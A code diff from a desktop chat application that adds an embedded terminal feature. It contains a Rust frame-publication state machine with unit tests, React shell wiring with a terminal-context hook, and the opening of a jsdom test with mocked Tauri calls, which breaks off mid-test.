//! Tauri channels are ordered, but they do not expose consumer credit and
|
||||||
|
//! channel delivery is unordered with respect to invoke responses. This state
|
||||||
|
//! machine therefore permits one frame on the wire, retains at most one newer
|
||||||
|
//! complete snapshot, and independently gates a resized viewport until the
|
||||||
|
//! renderer confirms that it knows the applied [`Viewport`].
|
||||||
|
|
||||||
|
use buzz_terminal::{damage::Frame, Viewport};
|
||||||
|
use std::fmt;
|
||||||
|
|
||||||
|
use uuid::Uuid;
|
||||||
|
|
||||||
|
/// A renderer attachment. Messages from an attachment that has been replaced
|
||||||
|
/// cannot release the new attachment's credit.
|
||||||
|
#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash)]
|
||||||
|
pub(crate) struct SubscriptionId(Uuid);
|
||||||
|
|
||||||
|
impl SubscriptionId {
|
||||||
|
pub(crate) fn new() -> Self {
|
||||||
|
Self(Uuid::new_v4())
|
||||||
|
}
|
||||||
|
|
||||||
|
pub(crate) fn parse(value: &str) -> Result<Self, String> {
|
||||||
|
Uuid::parse_str(value)
|
||||||
|
.map(Self)
|
||||||
|
.map_err(|_| "invalid terminal subscription id".to_string())
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl fmt::Display for SubscriptionId {
|
||||||
|
fn fmt(&self, formatter: &mut fmt::Formatter<'_>) -> fmt::Result {
|
||||||
|
self.0.fmt(formatter)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// A frame carrying the identity and sequence that its ACK must repeat.
|
||||||
|
#[derive(Debug, Clone, PartialEq, Eq)]
|
||||||
|
pub(crate) struct Publication {
|
||||||
|
pub(crate) subscription_id: SubscriptionId,
|
||||||
|
pub(crate) sequence: u64,
|
||||||
|
pub(crate) frame: Frame,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
||||||
|
pub(crate) enum OfferError {
|
||||||
|
/// Replacing pending incremental damage would lose changes that existed in
|
||||||
|
/// the older pending frame. Only a complete snapshot may be replaceable.
|
||||||
|
PendingFrameMustBeSnapshot,
|
||||||
|
}
|
||||||
|
|
||||||
|
struct Subscription {
|
||||||
|
id: SubscriptionId,
|
||||||
|
next_sequence: u64,
|
||||||
|
in_flight: Option<u64>,
|
||||||
|
pending: Option<Frame>,
|
||||||
|
viewport_ready: bool,
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Publication state for a terminal session.
|
||||||
|
///
|
||||||
|
/// PTY ownership is deliberately elsewhere. Faulting or detaching this state
|
||||||
|
/// stops renderer publication only; it must never stop the PTY reader.
|
||||||
|
pub(crate) struct FramePublisher {
|
||||||
|
applied: Viewport,
|
||||||
|
subscription: Option<Subscription>,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl FramePublisher {
|
||||||
|
pub(crate) fn new(applied: Viewport) -> Self {
|
||||||
|
Self {
|
||||||
|
applied,
|
||||||
|
subscription: None,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub(crate) fn applied_viewport(&self) -> Viewport {
|
||||||
|
self.applied
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Attach with a complete snapshot of the current viewport. Attachment is
|
||||||
|
/// a fresh bootstrap: no credit or readiness from the old subscription is
|
||||||
|
/// inherited.
|
||||||
|
pub(crate) fn attach(
|
||||||
|
&mut self,
|
||||||
|
id: SubscriptionId,
|
||||||
|
snapshot: Frame,
|
||||||
|
) -> Result<Publication, OfferError> {
|
||||||
|
self.require_current_snapshot(&snapshot)?;
|
||||||
|
let mut subscription = Subscription {
|
||||||
|
id,
|
||||||
|
next_sequence: 1,
|
||||||
|
in_flight: None,
|
||||||
|
pending: None,
|
||||||
|
viewport_ready: true,
|
||||||
|
};
|
||||||
|
let publication = Self::publish(&mut subscription, snapshot);
|
||||||
|
self.subscription = Some(subscription);
|
||||||
|
Ok(publication)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Whether the next capture must be complete so it can safely replace the
|
||||||
|
/// single pending value. Callers use this to select the engine's snapshot
|
||||||
|
/// path before taking the terminal lock.
|
||||||
|
pub(crate) fn requires_snapshot(&self) -> bool {
|
||||||
|
self.subscription.as_ref().is_some_and(|subscription| {
|
||||||
|
subscription.in_flight.is_some() || !subscription.viewport_ready
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Offer the newest capture. Frames for an overtaken viewport are inert.
|
||||||
|
/// While credit/readiness is held, the newest complete snapshot replaces
|
||||||
|
/// the prior one and pending storage remains exactly one frame.
|
||||||
|
pub(crate) fn offer(&mut self, frame: Frame) -> Result<Option<Publication>, OfferError> {
|
||||||
|
if frame.viewport != self.applied {
|
||||||
|
return Ok(None);
|
||||||
|
}
|
||||||
|
let Some(subscription) = &mut self.subscription else {
|
||||||
|
return Ok(None);
|
||||||
|
};
|
||||||
|
|
||||||
|
if subscription.in_flight.is_some() || !subscription.viewport_ready {
|
||||||
|
if !frame.full {
|
||||||
|
return Err(OfferError::PendingFrameMustBeSnapshot);
|
||||||
|
}
|
||||||
|
subscription.pending = Some(frame);
|
||||||
|
return Ok(None);
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(Some(Self::publish(subscription, frame)))
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Apply the viewport returned by the engine resize call. A real change
|
||||||
|
/// invalidates pending state and closes the readiness gate. Same-size
|
||||||
|
/// resizes are inert because the engine returns the unchanged viewport.
|
||||||
|
pub(crate) fn resize_applied(&mut self, viewport: Viewport) {
|
||||||
|
if viewport == self.applied {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
self.applied = viewport;
|
||||||
|
if let Some(subscription) = &mut self.subscription {
|
||||||
|
subscription.viewport_ready = false;
|
||||||
|
subscription.pending = None;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Release ordinary frame credit only for the exact live subscription and
|
||||||
|
/// exact frame in flight.
|
||||||
|
pub(crate) fn acknowledge(&mut self, id: SubscriptionId, sequence: u64) -> Option<Publication> {
|
||||||
|
let subscription = self.subscription.as_mut()?;
|
||||||
|
if subscription.id != id || subscription.in_flight != Some(sequence) {
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
subscription.in_flight = None;
|
||||||
|
Self::flush(subscription)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Renderer confirmation that the resize invoke result has been installed.
|
||||||
|
/// Equality against the one atomic viewport value is the entire policy:
|
||||||
|
/// old subscription IDs and superseded viewport values are inert.
|
||||||
|
pub(crate) fn viewport_ready(
|
||||||
|
&mut self,
|
||||||
|
id: SubscriptionId,
|
||||||
|
viewport: Viewport,
|
||||||
|
) -> Option<Publication> {
|
||||||
|
let subscription = self.subscription.as_mut()?;
|
||||||
|
if subscription.id != id || viewport != self.applied {
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
subscription.viewport_ready = true;
|
||||||
|
Self::flush(subscription)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Drop publication state after channel close, invoke rejection, renderer
|
||||||
|
/// teardown, or explicit detach. The caller owns safe Buzz focus recovery.
|
||||||
|
pub(crate) fn fault(&mut self, id: SubscriptionId) -> bool {
|
||||||
|
if self
|
||||||
|
.subscription
|
||||||
|
.as_ref()
|
||||||
|
.is_some_and(|subscription| subscription.id == id)
|
||||||
|
{
|
||||||
|
self.subscription = None;
|
||||||
|
true
|
||||||
|
} else {
|
||||||
|
false
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Permanently detach publication as the session begins closing.
|
||||||
|
pub(crate) fn close(&mut self) {
|
||||||
|
self.subscription = None;
|
||||||
|
}
|
||||||
|
|
||||||
|
fn require_current_snapshot(&self, frame: &Frame) -> Result<(), OfferError> {
|
||||||
|
if frame.viewport == self.applied && frame.full {
|
||||||
|
Ok(())
|
||||||
|
} else {
|
||||||
|
Err(OfferError::PendingFrameMustBeSnapshot)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn flush(subscription: &mut Subscription) -> Option<Publication> {
|
||||||
|
if subscription.in_flight.is_some() || !subscription.viewport_ready {
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
let frame = subscription.pending.take()?;
|
||||||
|
Some(Self::publish(subscription, frame))
|
||||||
|
}
|
||||||
|
|
||||||
|
fn publish(subscription: &mut Subscription, frame: Frame) -> Publication {
|
||||||
|
debug_assert!(subscription.in_flight.is_none());
|
||||||
|
let sequence = subscription.next_sequence;
|
||||||
|
subscription.next_sequence = subscription
|
||||||
|
.next_sequence
|
||||||
|
.checked_add(1)
|
||||||
|
.expect("terminal publication sequence exhausted");
|
||||||
|
subscription.in_flight = Some(sequence);
|
||||||
|
Publication {
|
||||||
|
subscription_id: subscription.id,
|
||||||
|
sequence,
|
||||||
|
frame,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
use super::*;
|
||||||
|
use buzz_terminal::damage::{CursorFrame, RowFrame};
|
||||||
|
|
||||||
|
fn viewport(generation: u64, columns: usize, screen_lines: usize) -> Viewport {
|
||||||
|
Viewport {
|
||||||
|
generation,
|
||||||
|
columns,
|
||||||
|
screen_lines,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn frame(viewport: Viewport, marker: usize, full: bool) -> Frame {
|
||||||
|
Frame {
|
||||||
|
rows: vec![RowFrame {
|
||||||
|
line: marker,
|
||||||
|
spans: Vec::new(),
|
||||||
|
}],
|
||||||
|
cursor: CursorFrame {
|
||||||
|
line: 0,
|
||||||
|
column: 0,
|
||||||
|
visible: true,
|
||||||
|
},
|
||||||
|
cursor_changed: true,
|
||||||
|
full,
|
||||||
|
viewport,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn attach_bootstraps_then_ack_releases_only_latest_snapshot() {
|
||||||
|
let v0 = viewport(0, 80, 24);
|
||||||
|
let mut publisher = FramePublisher::new(v0);
|
||||||
|
let id = SubscriptionId::new();
|
||||||
|
let bootstrap = publisher.attach(id, frame(v0, 0, true)).unwrap();
|
||||||
|
assert_eq!(bootstrap.sequence, 1);
|
||||||
|
assert!(publisher.requires_snapshot());
|
||||||
|
|
||||||
|
assert_eq!(publisher.offer(frame(v0, 1, true)).unwrap(), None);
|
||||||
|
assert_eq!(publisher.offer(frame(v0, 2, true)).unwrap(), None);
|
||||||
|
let successor = publisher.acknowledge(id, 1).unwrap();
|
||||||
|
assert_eq!(successor.sequence, 2);
|
||||||
|
assert_eq!(successor.frame.rows[0].line, 2);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn pending_incremental_frame_is_rejected_instead_of_losing_damage() {
|
||||||
|
let v0 = viewport(0, 80, 24);
|
||||||
|
let mut publisher = FramePublisher::new(v0);
|
||||||
|
let id = SubscriptionId::new();
|
||||||
|
publisher.attach(id, frame(v0, 0, true)).unwrap();
|
||||||
|
assert_eq!(
|
||||||
|
publisher.offer(frame(v0, 1, false)),
|
||||||
|
Err(OfferError::PendingFrameMustBeSnapshot)
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn late_old_frame_is_acked_but_never_crosses_viewports() {
|
||||||
|
let v0 = viewport(0, 80, 24);
|
||||||
|
let v1 = viewport(1, 100, 30);
|
||||||
|
let mut publisher = FramePublisher::new(v0);
|
||||||
|
let id = SubscriptionId::new();
|
||||||
|
publisher.attach(id, frame(v0, 0, true)).unwrap();
|
||||||
|
|
||||||
|
publisher.resize_applied(v1);
|
||||||
|
assert_eq!(publisher.offer(frame(v0, 7, true)).unwrap(), None);
|
||||||
|
assert_eq!(publisher.offer(frame(v1, 8, true)).unwrap(), None);
|
||||||
|
assert_eq!(publisher.acknowledge(id, 1), None);
|
||||||
|
let current = publisher.viewport_ready(id, v1).unwrap();
|
||||||
|
assert_eq!(current.frame.viewport, v1);
|
||||||
|
assert_eq!(current.frame.rows[0].line, 8);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn early_new_frame_is_held_despite_real_capture_pressure() {
|
||||||
|
let v0 = viewport(0, 80, 24);
|
||||||
|
let v1 = viewport(1, 120, 40);
|
||||||
|
let mut publisher = FramePublisher::new(v0);
|
||||||
|
let id = SubscriptionId::new();
|
||||||
|
publisher.attach(id, frame(v0, 0, true)).unwrap();
|
||||||
|
publisher.acknowledge(id, 1);
|
||||||
|
|
||||||
|
publisher.resize_applied(v1);
|
||||||
|
// A real non-empty capture occurred. Zero publication before readiness
|
||||||
|
// therefore cannot pass vacuously because no output happened.
|
||||||
|
let captured = frame(v1, 9, true);
|
||||||
|
assert!(!captured.rows.is_empty());
|
||||||
|
assert_eq!(publisher.offer(captured).unwrap(), None);
|
||||||
|
let publication = publisher.viewport_ready(id, v1).unwrap();
|
||||||
|
assert_eq!(publication.frame.rows[0].line, 9);
|
||||||
|
assert_eq!(publication.frame.viewport, v1);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn ack_and_readiness_may_arrive_in_either_order() {
|
||||||
|
let v0 = viewport(0, 80, 24);
|
||||||
|
let v1 = viewport(1, 100, 30);
|
||||||
|
let mut publisher = FramePublisher::new(v0);
|
||||||
|
let id = SubscriptionId::new();
|
||||||
|
publisher.attach(id, frame(v0, 0, true)).unwrap();
|
||||||
|
publisher.resize_applied(v1);
|
||||||
|
publisher.offer(frame(v1, 1, true)).unwrap();
|
||||||
|
|
||||||
|
assert_eq!(publisher.viewport_ready(id, v1), None);
|
||||||
|
assert!(publisher.acknowledge(id, 1).is_some());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn superseded_readiness_and_same_size_resize_are_inert() {
|
||||||
|
let v0 = viewport(0, 80, 24);
|
||||||
|
let v1 = viewport(1, 100, 30);
|
||||||
|
let v2 = viewport(2, 120, 40);
|
||||||
|
let mut publisher = FramePublisher::new(v0);
|
||||||
|
let id = SubscriptionId::new();
|
||||||
|
publisher.attach(id, frame(v0, 0, true)).unwrap();
|
||||||
|
publisher.resize_applied(v1);
|
||||||
|
publisher.resize_applied(v2);
|
||||||
|
publisher.resize_applied(v2);
|
||||||
|
assert_eq!(publisher.applied_viewport(), v2);
|
||||||
|
publisher.offer(frame(v2, 2, true)).unwrap();
|
||||||
|
publisher.acknowledge(id, 1);
|
||||||
|
assert_eq!(publisher.viewport_ready(id, v1), None);
|
||||||
|
assert!(publisher.viewport_ready(id, v2).is_some());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn old_subscription_messages_cannot_release_reattached_subscription() {
|
||||||
|
let v0 = viewport(0, 80, 24);
|
||||||
|
let mut publisher = FramePublisher::new(v0);
|
||||||
|
let old = SubscriptionId::new();
|
||||||
|
publisher.attach(old, frame(v0, 0, true)).unwrap();
|
||||||
|
assert!(publisher.fault(old));
|
||||||
|
|
||||||
|
let new = SubscriptionId::new();
|
||||||
|
publisher.attach(new, frame(v0, 1, true)).unwrap();
|
||||||
|
publisher.offer(frame(v0, 2, true)).unwrap();
|
||||||
|
assert_eq!(publisher.acknowledge(old, 1), None);
|
||||||
|
assert_eq!(publisher.viewport_ready(old, v0), None);
|
||||||
|
let successor = publisher.acknowledge(new, 1).unwrap();
|
||||||
|
assert_eq!(successor.frame.rows[0].line, 2);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn stale_fault_cannot_detach_current_subscription() {
|
||||||
|
let v0 = viewport(0, 80, 24);
|
||||||
|
let mut publisher = FramePublisher::new(v0);
|
||||||
|
let old = SubscriptionId::new();
|
||||||
|
let new = SubscriptionId::new();
|
||||||
|
publisher.attach(old, frame(v0, 0, true)).unwrap();
|
||||||
|
publisher.attach(new, frame(v0, 1, true)).unwrap();
|
||||||
|
assert!(!publisher.fault(old));
|
||||||
|
assert!(publisher.fault(new));
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -17,6 +17,12 @@ type AppHuddleShellProps = {
|
|||||||
onShowHuddleInMainApp: (ephemeralChannelId: string) => void;
|
onShowHuddleInMainApp: (ephemeralChannelId: string) => void;
|
||||||
onViewHuddleChannel: (ephemeralChannelId: string) => void;
|
onViewHuddleChannel: (ephemeralChannelId: string) => void;
|
||||||
onVisibilityChange: (visible: boolean) => void;
|
onVisibilityChange: (visible: boolean) => void;
|
||||||
|
/**
|
||||||
|
* Terminal substrate layer. Rendered behind the app surface (which carries
|
||||||
|
* z-10) so the ⌘J handoff can reveal it by fading the surface above. Not
|
||||||
|
* mounted in the dedicated Huddle room window.
|
||||||
|
*/
|
||||||
|
terminal?: React.ReactNode;
|
||||||
};
|
};
|
||||||
|
|
||||||
export function AppHuddleShell({
|
export function AppHuddleShell({
|
||||||
@@ -31,6 +37,7 @@ export function AppHuddleShell({
|
|||||||
onShowHuddleInMainApp,
|
onShowHuddleInMainApp,
|
||||||
onViewHuddleChannel,
|
onViewHuddleChannel,
|
||||||
onVisibilityChange,
|
onVisibilityChange,
|
||||||
|
terminal,
|
||||||
}: AppHuddleShellProps) {
|
}: AppHuddleShellProps) {
|
||||||
return (
|
return (
|
||||||
<HuddleProvider
|
<HuddleProvider
|
||||||
@@ -48,6 +55,7 @@ export function AppHuddleShell({
|
|||||||
data-huddle-open={isDrawerOpen}
|
data-huddle-open={isDrawerOpen}
|
||||||
data-huddle-window={isRoom}
|
data-huddle-window={isRoom}
|
||||||
>
|
>
|
||||||
|
{isRoom ? null : terminal}
|
||||||
<div
|
<div
|
||||||
className={cn(
|
className={cn(
|
||||||
"buzz-huddle-app-surface z-10 flex min-h-0 flex-row overflow-hidden bg-background",
|
"buzz-huddle-app-surface z-10 flex min-h-0 flex-row overflow-hidden bg-background",
|
||||||
|
|||||||
@@ -2,8 +2,9 @@ import * as React from "react";
|
|||||||
import { useQueryClient } from "@tanstack/react-query";
|
import { useQueryClient } from "@tanstack/react-query";
|
||||||
import { Outlet, useLocation } from "@tanstack/react-router";
|
import { Outlet, useLocation } from "@tanstack/react-router";
|
||||||
import { deriveShellRoute, markAllReadSources } from "@/app/AppShell.helpers";
|
import { deriveShellRoute, markAllReadSources } from "@/app/AppShell.helpers";
|
||||||
|
import { useTerminalContext } from "@/app/useTerminalContext";
|
||||||
import { AppShellProvider } from "@/app/AppShellContext";
|
import { AppShellProvider } from "@/app/AppShellContext";
|
||||||
import { AppShellOverlays } from "@/app/AppShellOverlays";
|
import { AppShellOverlays, TerminalBootstrap } from "@/app/AppShellOverlays";
|
||||||
import { AppShellChannelSurface } from "@/app/AppShellChannelSurface";
|
import { AppShellChannelSurface } from "@/app/AppShellChannelSurface";
|
||||||
import { AppHuddleShell } from "@/app/AppHuddleShell";
|
import { AppHuddleShell } from "@/app/AppHuddleShell";
|
||||||
import { AppTopChrome } from "@/app/AppTopChrome";
|
import { AppTopChrome } from "@/app/AppTopChrome";
|
||||||
@@ -307,13 +308,13 @@ export function AppShell() {
|
|||||||
selectedView,
|
selectedView,
|
||||||
sidebarChannels,
|
sidebarChannels,
|
||||||
]);
|
]);
|
||||||
const activeChannel = React.useMemo(
|
const { activeChannel, terminalContext } = useTerminalContext({
|
||||||
() =>
|
channelId: selectedChannelId,
|
||||||
selectedChannelId
|
channels,
|
||||||
? (channels.find((channel) => channel.id === selectedChannelId) ?? null)
|
locationSearch: location.search,
|
||||||
: null,
|
pubkey: identityQuery.data?.pubkey,
|
||||||
[channels, selectedChannelId],
|
relayUrl: communitiesHook.activeCommunity?.relayUrl,
|
||||||
);
|
});
|
||||||
const managedChannel = React.useMemo(() => {
|
const managedChannel = React.useMemo(() => {
|
||||||
const targetChannelId = managedChannelId ?? selectedChannelId;
|
const targetChannelId = managedChannelId ?? selectedChannelId;
|
||||||
return targetChannelId
|
return targetChannelId
|
||||||
@@ -333,14 +334,12 @@ export function AppShell() {
|
|||||||
openSearchHit,
|
openSearchHit,
|
||||||
pubkey: identityQuery.data?.pubkey,
|
pubkey: identityQuery.data?.pubkey,
|
||||||
});
|
});
|
||||||
|
|
||||||
const {
|
const {
|
||||||
followedRootIds,
|
followedRootIds,
|
||||||
isFollowing: isFollowingThread,
|
isFollowing: isFollowingThread,
|
||||||
followThread,
|
followThread,
|
||||||
unfollowThread,
|
unfollowThread,
|
||||||
} = useThreadFollows(identityQuery.data?.pubkey);
|
} = useThreadFollows(identityQuery.data?.pubkey);
|
||||||
|
|
||||||
const {
|
const {
|
||||||
markAllChannelsRead: markAllChannelReadMarkers,
|
markAllChannelsRead: markAllChannelReadMarkers,
|
||||||
markChannelRead,
|
markChannelRead,
|
||||||
@@ -776,6 +775,7 @@ export function AppShell() {
|
|||||||
onShowHuddleInMainApp={showHuddleInMainApp}
|
onShowHuddleInMainApp={showHuddleInMainApp}
|
||||||
onViewHuddleChannel={viewHuddleChannel}
|
onViewHuddleChannel={viewHuddleChannel}
|
||||||
onVisibilityChange={handleHuddleVisibilityChange}
|
onVisibilityChange={handleHuddleVisibilityChange}
|
||||||
|
terminal={<TerminalBootstrap {...terminalContext} />}
|
||||||
>
|
>
|
||||||
{hasCommunityRail && !isHuddleRoom ? (
|
{hasCommunityRail && !isHuddleRoom ? (
|
||||||
<CommunityRail
|
<CommunityRail
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
export { TerminalBootstrap } from "@/features/terminal/TerminalBootstrap";
|
||||||
import * as React from "react";
|
import * as React from "react";
|
||||||
|
|
||||||
import type { Channel } from "@/shared/api/types";
|
import type { Channel } from "@/shared/api/types";
|
||||||
|
|||||||
56
desktop/src/app/useTerminalContext.ts
Normal file
56
desktop/src/app/useTerminalContext.ts
Normal file
@@ -0,0 +1,56 @@
|
|||||||
|
import * as React from "react";
|
||||||
|
|
||||||
|
import type { Channel } from "@/shared/api/types";
|
||||||
|
import { safeNpub } from "@/shared/lib/nostrUtils";
|
||||||
|
|
||||||
|
type TerminalContext = {
|
||||||
|
channelId: string | null;
|
||||||
|
channelName: string | null;
|
||||||
|
threadId: string | null;
|
||||||
|
npub: string | null;
|
||||||
|
relayUrl: string | null;
|
||||||
|
};
|
||||||
|
|
||||||
|
type TerminalContextResult = {
|
||||||
|
activeChannel: Channel | null;
|
||||||
|
terminalContext: TerminalContext;
|
||||||
|
};
|
||||||
|
|
||||||
|
export function useTerminalContext({
|
||||||
|
channelId,
|
||||||
|
channels,
|
||||||
|
locationSearch,
|
||||||
|
pubkey,
|
||||||
|
relayUrl,
|
||||||
|
}: {
|
||||||
|
channelId: string | null;
|
||||||
|
channels: Channel[];
|
||||||
|
locationSearch: unknown;
|
||||||
|
pubkey?: string;
|
||||||
|
relayUrl?: string;
|
||||||
|
}): TerminalContextResult {
|
||||||
|
return React.useMemo(() => {
|
||||||
|
const search = locationSearch as {
|
||||||
|
thread?: unknown;
|
||||||
|
threadRootId?: unknown;
|
||||||
|
};
|
||||||
|
const threadId = search.threadRootId ?? search.thread;
|
||||||
|
const activeChannel = channelId
|
||||||
|
? (channels.find((candidate) => candidate.id === channelId) ?? null)
|
||||||
|
: null;
|
||||||
|
|
||||||
|
return {
|
||||||
|
activeChannel,
|
||||||
|
terminalContext: {
|
||||||
|
channelId,
|
||||||
|
channelName: activeChannel?.name ?? null,
|
||||||
|
threadId:
|
||||||
|
channelId && typeof threadId === "string" && threadId.length > 0
|
||||||
|
? threadId
|
||||||
|
: null,
|
||||||
|
npub: pubkey ? safeNpub(pubkey) : null,
|
||||||
|
relayUrl: relayUrl ?? null,
|
||||||
|
},
|
||||||
|
};
|
||||||
|
}, [channelId, channels, locationSearch, pubkey, relayUrl]);
|
||||||
|
}
|
||||||
425
desktop/src/features/terminal/TerminalBootstrap.test.mjs
Normal file
425
desktop/src/features/terminal/TerminalBootstrap.test.mjs
Normal file
@@ -0,0 +1,425 @@
|
|||||||
|
import assert from "node:assert/strict";
|
||||||
|
import { after, afterEach, before, test } from "node:test";
|
||||||
|
|
||||||
|
import { JSDOM } from "jsdom";
|
||||||
|
|
||||||
|
// `pretendToBeVisual` is what gives jsdom requestAnimationFrame. The banner's
|
||||||
|
// animation loop needs it; without it the loop silently never runs and every
|
||||||
|
// paint assertion below reads as a rendering failure.
|
||||||
|
const dom = new JSDOM("<!doctype html><html><body></body></html>", {
|
||||||
|
pretendToBeVisual: true,
|
||||||
|
url: "http://localhost",
|
||||||
|
});
|
||||||
|
const callbacks = new Map();
|
||||||
|
const calls = [];
|
||||||
|
let nextCallback = 1;
|
||||||
|
let channel;
|
||||||
|
let resizeCallback;
|
||||||
|
let canvasWidth = 840;
|
||||||
|
let attachResolver = null;
|
||||||
|
let deferResizes = false;
|
||||||
|
const pendingResizes = [];
|
||||||
|
|
||||||
|
before(async () => {
|
||||||
|
Object.assign(globalThis, {
|
||||||
|
document: dom.window.document,
|
||||||
|
HTMLElement: dom.window.HTMLElement,
|
||||||
|
HTMLCanvasElement: dom.window.HTMLCanvasElement,
|
||||||
|
KeyboardEvent: dom.window.KeyboardEvent,
|
||||||
|
IS_REACT_ACT_ENVIRONMENT: true,
|
||||||
|
isTauri: true,
|
||||||
|
window: dom.window,
|
||||||
|
});
|
||||||
|
dom.window.localStorage.setItem("buzz-follow-system", "false");
|
||||||
|
dom.window.isTauri = true;
|
||||||
|
dom.window.matchMedia = () => ({
|
||||||
|
matches: false,
|
||||||
|
addEventListener() {},
|
||||||
|
removeEventListener() {},
|
||||||
|
});
|
||||||
|
dom.window.ResizeObserver = class {
|
||||||
|
constructor(callback) {
|
||||||
|
resizeCallback = callback;
|
||||||
|
}
|
||||||
|
observe() {}
|
||||||
|
disconnect() {}
|
||||||
|
};
|
||||||
|
dom.window.HTMLElement.prototype.animate = () => ({
|
||||||
|
cancel() {},
|
||||||
|
currentTime: 0,
|
||||||
|
finished: new Promise(() => {}),
|
||||||
|
play() {},
|
||||||
|
playbackRate: 1,
|
||||||
|
reverse() {},
|
||||||
|
});
|
||||||
|
dom.window.HTMLCanvasElement.prototype.getBoundingClientRect = () => ({
|
||||||
|
bottom: 408,
|
||||||
|
height: 408,
|
||||||
|
left: 0,
|
||||||
|
right: canvasWidth,
|
||||||
|
top: 0,
|
||||||
|
width: canvasWidth,
|
||||||
|
x: 0,
|
||||||
|
y: 0,
|
||||||
|
toJSON() {},
|
||||||
|
});
|
||||||
|
dom.window.HTMLCanvasElement.prototype.getContext = () => ({
|
||||||
|
clearRect() {},
|
||||||
|
fillRect() {},
|
||||||
|
fillStyle: "",
|
||||||
|
fillText() {},
|
||||||
|
font: "",
|
||||||
|
restore() {},
|
||||||
|
save() {},
|
||||||
|
setTransform() {},
|
||||||
|
textBaseline: "",
|
||||||
|
});
|
||||||
|
dom.window.__TAURI_INTERNALS__ = {
|
||||||
|
invoke(command, args) {
|
||||||
|
calls.push({ command, args });
|
||||||
|
if (command === "terminal_attach") {
|
||||||
|
channel = args.onFrame;
|
||||||
|
const response = {
|
||||||
|
sessionId: "session-1",
|
||||||
|
subscriptionId: "subscription-1",
|
||||||
|
viewport: { columns: 100, generation: 0, screenLines: 24 },
|
||||||
|
};
|
||||||
|
return attachResolver
|
||||||
|
? new Promise((resolve) => {
|
||||||
|
attachResolver = () => resolve(response);
|
||||||
|
})
|
||||||
|
: Promise.resolve(response);
|
||||||
|
}
|
||||||
|
if (command === "terminal_resize") {
|
||||||
|
const value = {
|
||||||
|
columns: args.columns,
|
||||||
|
generation: args.columns,
|
||||||
|
screenLines: args.rows,
|
||||||
|
};
|
||||||
|
if (!deferResizes) return Promise.resolve(value);
|
||||||
|
return new Promise((resolve) => {
|
||||||
|
pendingResizes.push(() => resolve(value));
|
||||||
|
});
|
||||||
|
}
|
||||||
|
return Promise.resolve();
|
||||||
|
},
|
||||||
|
transformCallback(callback) {
|
||||||
|
const id = nextCallback++;
|
||||||
|
callbacks.set(id, callback);
|
||||||
|
return id;
|
||||||
|
},
|
||||||
|
unregisterCallback(id) {
|
||||||
|
callbacks.delete(id);
|
||||||
|
},
|
||||||
|
};
|
||||||
|
});
|
||||||
|
|
||||||
|
after(() => dom.window.close());
|
||||||
|
afterEach(() => {
|
||||||
|
calls.length = 0;
|
||||||
|
canvasWidth = 840;
|
||||||
|
attachResolver = null;
|
||||||
|
deferResizes = false;
|
||||||
|
pendingResizes.length = 0;
|
||||||
|
});
|
||||||
|
|
||||||
|
function emit(message, index = 0) {
|
||||||
|
const id = Number(channel.toJSON().slice("__CHANNEL__:".length));
|
||||||
|
callbacks.get(id)({ index, message });
|
||||||
|
}
|
||||||
|
|
||||||
|
test("mounted bootstrap passes GUI context and ACKs only after consuming a frame", async () => {
|
||||||
|
const { StrictMode, createElement } = await import("react");
|
||||||
|
const { act, render, waitFor } = await import("@testing-library/react");
|
||||||
|
const { ThemeProvider } = await import("@/shared/theme/ThemeProvider");
|
||||||
|
const { TerminalBootstrap } = await import("./TerminalBootstrap.tsx");
|
||||||
|
|
||||||
|
const view = render(
|
||||||
|
createElement(
|
||||||
|
StrictMode,
|
||||||
|
null,
|
||||||
|
createElement(
|
||||||
|
ThemeProvider,
|
||||||
|
null,
|
||||||
|
createElement("div", {
|
||||||
|
className: "buzz-huddle-app-surface",
|
||||||
|
tabIndex: -1,
|
||||||
|
}),
|
||||||
|
createElement(TerminalBootstrap, {
|
||||||
|
channelId: "channel-1",
|
||||||
|
channelName: "general",
|
||||||
|
npub: "npub1owner",
|
||||||
|
relayUrl: "wss://relay.example",
|
||||||
|
threadId: "thread-1",
|
||||||
|
}),
|
||||||
|
),
|
||||||
|
),
|
||||||
|
);
|
||||||
|
|
||||||
|
await waitFor(() =>
|
||||||
|
assert.ok(calls.some(({ command }) => command === "terminal_attach")),
|
||||||
|
);
|
||||||
|
const attach = calls.find(({ command }) => command === "terminal_attach");
|
